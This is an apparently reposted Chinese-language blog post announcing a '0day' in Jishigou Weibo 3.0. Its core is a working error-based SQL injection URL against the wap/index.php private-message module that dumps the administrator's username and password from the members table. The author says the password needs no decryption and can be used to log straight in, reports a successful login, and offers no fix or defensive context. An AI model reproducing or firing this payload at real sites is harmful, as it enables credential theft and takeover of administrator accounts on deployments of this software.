记事狗微博3.0 0day

    没什么技术含量 路过随便发布一下吧

    exp:

     

    wap/index.php?mod=pm&pm_new=and(select%201%20from(select%20count(*),

    concat((select%20(select%20(select%20concat(0×27,0x7e,jishigou_members.

    username,0×27,0x7e,jishigou_members.password,0×27,0x7e)%20from%20jishigou_

    members%20where%20uid=1%20limit%200,1))%20from%20information_schema.tables%20limit%200,1),

    floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%20and%201=1

     

     

    不用解密 直接登陆 你懂得….

     

     

    登陆成功

     

     

    本来不想发布的 给了朋友 结果被朋友发布了 真气人 算了 也不是什么 好东西…就这样

     

    From:http://blog.exehack.com/?p=822

     

    本博客所有文章如无特别注明均为原创。
    复制或转载请以超链接形式注明转自n0elle's Blog,原文地址《记事狗微博3.0 0day
    标签:
    喜欢 | 0
    分享:

还没有人抢沙发呢~